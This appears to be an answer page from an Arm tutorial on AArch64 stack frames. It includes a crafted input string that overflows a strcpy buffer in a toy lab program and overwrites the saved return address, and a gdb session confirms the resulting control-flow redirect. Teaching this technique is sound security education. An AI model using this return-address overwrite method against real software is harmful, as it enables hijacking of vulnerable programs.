Answer to exercise 1

    

        
        
            \ 
     +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
     | x | x |  <-      buffer2     ->   | <- buffer1 -> | x | x | x | <- frame of the main function ->  |
     +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
 sp+:  0   1   2   3   4   5   6   7   8   9   10  11  12  13  14  15  16  17  18  19  20  21  22  23 ....
       ^
       |
       sp
        
    

Answer to exercise 2

    

        
        
            \ 
     +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
     | x29 = fp of previous function | x30 = return address to prev f| <- frame of function that called main->   |
     +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
 sp+:  0   1   2   3   4   5   6   7   8   9   10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  ...
       ^
       |
       sp = x29
        
    

Answer to exercise 3

    

        
        
            \
     +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
     |       unused          |  buffer               | x29 of previous function | return address x30 |
     +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
 sp+:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
       ^                                               ^
       |                                               |
       sp                                             x29
        
    

Answer to exercise 4

One string that could be a solution to exercise 3 at the end of the previous section is:

    

        
        
            $'0123456789012345\x20\x08\xaa\xaa\xaa\xaa\x00\x00'
        
    

We created this string by:

  1. First filling the string with arbitrary characters for bytes 0 till 15.

  2. Starting at byte 16, we fill in the address we want the return address to take. One special consideration to take is that we are working on a little-endian target. Therefore, we have to reverse the order of the bytes of the address in the string.

Let’s see if it works:

    

        
        ./redirect1 $'0123456789012345\x20\x08\xaa\xaa\xaa\xaa\x00\x00'
0123456789012345

        
    

Success! The program no longer prints the string "The string on the command line was: "!

Time for a little celebration: 🎉

Now let’s check in detail by stepping through the program that this is working as we expect:

    

        
        gdb -q --args ./redirect1 $'0123456789012345\x20\x08\xaa\xaa\xaa\xaa\x00\x00'
Reading symbols from ./redirect1...

        
    
    

        
        (gdb) break f
__output__Breakpoint 1 at 0x7e4: file redirect1.c, line 8.

        
    
    

        
        (gdb) run
__output__Starting program: /armlearningpaths/redirect1 0123456789012345\
__output__[Thread debugging using libthread_db enabled]
__output__Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
__output__
__output__Breakpoint 1, f (src=src@entry=0xfffffffff927 "0123456789012345 \b\252\252\252\252") at redirect1.c:8
__output__8           strcpy(buffer, src);

        
    
    

        
        (gdb) disass f
__output__Dump of assembler code for function f:
__output__   0x0000aaaaaaaa07d4 <+0>:     sub     sp, sp, #0x20
__output__   0x0000aaaaaaaa07d8 <+4>:     stp     x29, x30, [sp, #16]
__output__   0x0000aaaaaaaa07dc <+8>:     add     x29, sp, #0x10
__output__   0x0000aaaaaaaa07e0 <+12>:    mov     x1, x0
__output__=> 0x0000aaaaaaaa07e4 <+16>:    add     x0, sp, #0x8
__output__   0x0000aaaaaaaa07e8 <+20>:    bl      0xaaaaaaaa0680 <strcpy@plt>
__output__   0x0000aaaaaaaa07ec <+24>:    ldp     x29, x30, [sp, #16]
__output__   0x0000aaaaaaaa07f0 <+28>:    ldrb    w0, [sp, #10]
__output__   0x0000aaaaaaaa07f4 <+32>:    add     sp, sp, #0x20
__output__   0x0000aaaaaaaa07f8 <+36>:    ret
__output__End of assembler dump.

        
    
    

        
        (gdb) x/4gx $sp
__output__0xfffffffff570: 0x0000fffffffff728      0x0000000000000002
__output__0xfffffffff580: 0x0000fffffffff590      0x0000aaaaaaaa0814

        
    

We see that before the buffer overflow in strcpy is executed, the stored value of x30 on the stack is as it should be: 0xaaaaaaaa0814.

    

        
        (gdb) nexti 2
__output__9           return buffer[2];

        
    
    

        
        (gdb) disass f
__output__Dump of assembler code for function f:
__output__   0x0000aaaaaaaa07d4 <+0>:     sub     sp, sp, #0x20
__output__   0x0000aaaaaaaa07d8 <+4>:     stp     x29, x30, [sp, #16]
__output__   0x0000aaaaaaaa07dc <+8>:     add     x29, sp, #0x10
__output__   0x0000aaaaaaaa07e0 <+12>:    mov     x1, x0
__output__   0x0000aaaaaaaa07e4 <+16>:    add     x0, sp, #0x8
__output__   0x0000aaaaaaaa07e8 <+20>:    bl      0xaaaaaaaa0680 <strcpy@plt>
__output__=> 0x0000aaaaaaaa07ec <+24>:    ldp     x29, x30, [sp, #16]
__output__   0x0000aaaaaaaa07f0 <+28>:    ldrb    w0, [sp, #10]
__output__   0x0000aaaaaaaa07f4 <+32>:    add     sp, sp, #0x20
__output__   0x0000aaaaaaaa07f8 <+36>:    ret
__output__End of assembler dump.

        
    
    

        
        (gdb) x/4gx $sp
__output__0xfffffffff570: 0x0000fffffffff728      0x3736353433323130
__output__0xfffffffff580: 0x3534333231303938      0x0000aaaaaaaa0820

        
    

After the buffer overflow has happened in strcpy, the stored value of x30 on the stack has changed indeed to the value oxaaaaaaaa0820.

    

        
        (gdb) nexti 3
__output__0x0000aaaaaaaa07f8      9           return buffer[2];

        
    
    

        
        (gdb) disass f
__output__Dump of assembler code for function f:
__output__   0x0000aaaaaaaa07d4 <+0>:     sub     sp, sp, #0x20
__output__   0x0000aaaaaaaa07d8 <+4>:     stp     x29, x30, [sp, #16]
__output__   0x0000aaaaaaaa07dc <+8>:     add     x29, sp, #0x10
__output__   0x0000aaaaaaaa07e0 <+12>:    mov     x1, x0
__output__   0x0000aaaaaaaa07e4 <+16>:    add     x0, sp, #0x8
__output__   0x0000aaaaaaaa07e8 <+20>:    bl      0xaaaaaaaa0680 <strcpy@plt>
__output__   0x0000aaaaaaaa07ec <+24>:    ldp     x29, x30, [sp, #16]
__output__   0x0000aaaaaaaa07f0 <+28>:    ldrb    w0, [sp, #10]
__output__   0x0000aaaaaaaa07f4 <+32>:    add     sp, sp, #0x20
__output__=> 0x0000aaaaaaaa07f8 <+36>:    ret
__output__End of assembler dump.

        
    
    

        
        (gdb) stepi
__output__main (argc=<optimized out>, argv=<optimized out>) at redirect1.c:16
__output__16          puts(chars);

        
    
    

        
        (gdb) disass
__output__Dump of assembler code for function main:
__output__   0x0000aaaaaaaa07fc <+0>:     stp     x29, x30, [sp, #-32]!
__output__   0x0000aaaaaaaa0800 <+4>:     str     x19, [sp, #16]
__output__   0x0000aaaaaaaa0804 <+8>:     mov     x29, sp
__output__   0x0000aaaaaaaa0808 <+12>:    ldr     x19, [x1, #8]
__output__   0x0000aaaaaaaa080c <+16>:    mov     x0, x19
__output__   0x0000aaaaaaaa0810 <+20>:    bl      0xaaaaaaaa07d4 <f>
__output__   0x0000aaaaaaaa0814 <+24>:    adrp    x0, 0xaaaaaaaa0000
__output__   0x0000aaaaaaaa0818 <+28>:    add     x0, x0, #0x850
__output__   0x0000aaaaaaaa081c <+32>:    bl      0xaaaaaaaa0670 <puts@plt>
__output__=> 0x0000aaaaaaaa0820 <+36>:    mov     x0, x19
__output__   0x0000aaaaaaaa0824 <+40>:    bl      0xaaaaaaaa0670 <puts@plt>
__output__   0x0000aaaaaaaa0828 <+44>:    ldr     x19, [sp, #16]
__output__   0x0000aaaaaaaa082c <+48>:    mov     w0, wzr
__output__   0x0000aaaaaaaa0830 <+52>:    ldp     x29, x30, [sp], #32
__output__   0x0000aaaaaaaa0834 <+56>:    ret
__output__End of assembler dump.
__output__(gdb)

        
    

And indeed, rather than returning to 0xaaaaaaaa0814, the instruction after the call to function f has returned to 0xaaaaaaaa0820, skipping the first call to puts.

Back
Next